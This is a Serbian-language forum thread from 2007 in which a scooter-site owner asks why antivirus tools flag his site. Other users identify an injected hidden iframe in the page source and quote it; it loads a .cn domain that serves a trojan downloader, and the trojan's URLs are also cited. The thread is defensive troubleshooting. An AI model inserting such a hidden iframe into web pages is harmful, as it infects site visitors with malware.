[es] - Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

ticma
MUP R Srbije
Novi Sad

Član broj: 8049
Poruke: 444
*.eunet.yu.

Sajt: www.piaggio.co.rs

Profil

Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{16.11.2007. u 23:05 - pre 212 meseci}

Na sajtu www.piaggio.co.yu ponekad se javlja upozorenje da je virus
poruka izgleda ovako

Pregledao sam svoj kompletan racunar nema ni jedan virus. Zamolio sam Neobee gde je sajt na hostu da pregledaju na njihovom serveru i rekli su da nema ni tamo.
Na sajtu je sve "rucno" radjeno nema .exe programcica.
Obavestenje o virusu se javlja na vise antivirusnih prograna kasperski, NOD,

Ima li neko ideju sta bi moglo biti.
Sajt sam kompetno obrisao na serveru i ponovo kopirao, ali se to se ipak pojavi ponekad!
Ima li neke ideje??

evo ova kasperski nadje
detected: Trojan program Trojan-Downloader.JS.Psyme.ru URL: http://musicbox1.cn/neww/

_{[Ovu poruku je menjao ticma dana 17.11.2007. u 00:23 GMT+1]}

www.piaggio.co.rs * Piaggio Free & Liberty scooter- tehnicka uputstva, slike, sastavljanje, tuning, oglasi, forum *
www.placevi.iz.rs --prodaja placeva u okolini Novog Sada--

Prikačeni fajlovi

virus.jpg - 66.99k

TROJAN.JPG - 22.3k

agasoft
Aleksandar Đurić
Tražim posao...
Beograd

Član broj: 43804
Poruke: 2251
*.com
Via: [es] mailing liste

Jabber: agasoft

+126 Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{17.11.2007. u 00:57 - pre 212 meseci}

Molio bih te ako možeš copy paste tekstom šta se tačno dešava?

yolja624

Član broj: 9380
Poruke: 1856

+643 Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{17.11.2007. u 07:56 - pre 212 meseci}

provjeri php fajlove, narocito na kraju svakog php, dal se nalazi kakav java scrip u formi #$@FE@#%GE#@@GS^WSFW@ i slicno.
Evo sad sam ja bio na tom sajtu i avast je uredno prijavio:
"11/17/2007 8:54:44 AM SYSTEM 1700 Sign of "Win32:Agent-NHU [Trj]" has been found in "http://musicbox1.cn/neww/load.php" file. "

ticma
MUP R Srbije
Novi Sad

Član broj: 8049
Poruke: 444
*.eunet.yu.

Sajt: www.piaggio.co.rs

Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{17.11.2007. u 16:31 - pre 212 meseci}

Citat:

agasoft: Molio bih te ako možeš copy paste tekstom šta se tačno dešava?

Pojavi mi se samo ono obavestenje od Kasperskog kad pristupim na sajt. Ne vidi se nikakav drugi problem.

Citat:

yolja624: provjeri php fajlove, narocito na kraju svakog php, dal se nalazi kakav java scrip u formi #$@FE@#%GE#@@GS^WSFW@ i slicno.
Evo sad sam ja bio na tom sajtu i avast je uredno prijavio:
"11/17/2007 8:54:44 AMSYSTEM1700Sign of "Win32:Agent-NHU [Trj]" has been found in "http://musicbox1.cn/neww/load.php" file. "

pregledao sam komplet index stranu ali nema nista sto lici na taj java skript. Jedino je java onaj reklamni deo od googla adsence-
Prikacio sam index stranu, pa ako neko zna gde je greska molio bih da me obrazuje, unapred se zahvaljujem!!

www.piaggio.co.rs * Piaggio Free & Liberty scooter- tehnicka uputstva, slike, sastavljanje, tuning, oglasi, forum *
www.placevi.iz.rs --prodaja placeva u okolini Novog Sada--

Prikačeni fajlovi

index.html - 21.79k

mulaz
Ljubljana

Član broj: 47602
Poruke: 2239
*.dial-up.dsl.siol.net.

Jabber: mulaz@elitesecurity.org
Sajt: www.mulaz.org

+184 Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{17.11.2007. u 17:43 - pre 212 meseci}

kad otvorim sajt, i pogledam source, na 68oj liniji je

Code:
<body><iframe src='http://nessCENZURAen.cn/input.htm' width='1' height='1' style='visibility: hidden;'></iframe>

koji linkuje na onaj musicbox, na kome stoji pravi virus

znaci.. obrisi to

Bolje ispasti glup nego iz aviona
http://www.mulaz.org/

ticma
MUP R Srbije
Novi Sad

Član broj: 8049
Poruke: 444
*.eunet.yu.

Sajt: www.piaggio.co.rs

Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{17.11.2007. u 18:45 - pre 212 meseci}

Vidi vraga, kad gledam na kompu toga nema, a na saju ima taj red.
Kako se to pojavi ako kopiram stalno index stranu preko stare?
Uglavnom, rucno sam obrisao i nadam se da je reseno.
Hvala puno!!

www.piaggio.co.rs * Piaggio Free & Liberty scooter- tehnicka uputstva, slike, sastavljanje, tuning, oglasi, forum *
www.placevi.iz.rs --prodaja placeva u okolini Novog Sada--

yolja624

Član broj: 9380
Poruke: 1856

+643 Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{18.11.2007. u 10:47 - pre 212 meseci}

ma eto njega ponovo, vidjeces :D

ticma
MUP R Srbije
Novi Sad

Član broj: 8049
Poruke: 444
*.eunet.yu.

Sajt: www.piaggio.co.rs

Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{18.11.2007. u 11:05 - pre 212 meseci}

Jel ima nekog nacina da se zastiti sajt od takvih upada?

www.piaggio.co.rs * Piaggio Free & Liberty scooter- tehnicka uputstva, slike, sastavljanje, tuning, oglasi, forum *
www.placevi.iz.rs --prodaja placeva u okolini Novog Sada--

agasoft
Aleksandar Đurić
Tražim posao...
Beograd

Član broj: 43804
Poruke: 2251
*.com
Via: [es] mailing liste

Jabber: agasoft

+126 Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{18.11.2007. u 11:48 - pre 212 meseci}

Ja mislim da je tu potpuna odgovornost na hosting kompaniji. Ja bre održavam
par sajtova i na ni jednom se ato ne dešava, a sigurno je hosting koji
koristimo jeftiniji sto trideset puta od Neobee, koji te pretpostavljam
dere...

ticma
MUP R Srbije
Novi Sad

Član broj: 8049
Poruke: 444
*.eunet.yu.

Sajt: www.piaggio.co.rs

Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{18.11.2007. u 12:42 - pre 212 meseci}

I meni se to cini, najgore sto sam ih molio da ga pregledaju i nisu nasli, neki jaki strucnjaci
A cena je 1250 din za 10 MB na godinu dana!

www.piaggio.co.rs * Piaggio Free & Liberty scooter- tehnicka uputstva, slike, sastavljanje, tuning, oglasi, forum *
www.placevi.iz.rs --prodaja placeva u okolini Novog Sada--

Goran Mijailovic

Član broj: 12684
Poruke: 6907

+437 Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{18.11.2007. u 13:21 - pre 212 meseci}

Nod sada ne prijavljuje nista. Za sada je ok.

agasoft
Aleksandar Đurić
Tražim posao...
Beograd

Član broj: 43804
Poruke: 2251
*.com
Via: [es] mailing liste

Jabber: agasoft

+126 Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{18.11.2007. u 16:25 - pre 212 meseci}

Waw!!!!
Pa to je stvarno... ma dranje je mala reč za to... Deset megabajta za
hiljadu dvesta pedeset dinara!!!
Ja imam jedan hosting za sto devetnaest dolara petsto gigabajta godišnje!!!

ticma
MUP R Srbije
Novi Sad

Član broj: 8049
Poruke: 444
*.eunet.yu.

Sajt: www.piaggio.co.rs

Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{18.11.2007. u 17:07 - pre 212 meseci}

a EUNET je jos bolji
aktiviranje 730 din -
mesecni zakup 365 din
godisnje 3.723 din (u cenu je uključeno 15% popusta)
za 20 MB

ako moze na PP gde taj hosting kako se registruje i ima li jos mesta

www.piaggio.co.rs * Piaggio Free & Liberty scooter- tehnicka uputstva, slike, sastavljanje, tuning, oglasi, forum *
www.placevi.iz.rs --prodaja placeva u okolini Novog Sada--

Milan Gligorijevic
Pančevo

Član broj: 73740
Poruke: 5273

Sajt: milan.rs

+80 Profil

Re: Obaveštenje o virusu na sajtu povremeno se javlja a svi tvrde da nema

^{18.11.2007. u 18:43 - pre 212 meseci}

Postoji forum Hosting => http://www.elitesecurity.org/f210-Hosting
Tamo nastavite diskusiju, a prvobitan problem ove teme je rešen.

Lock.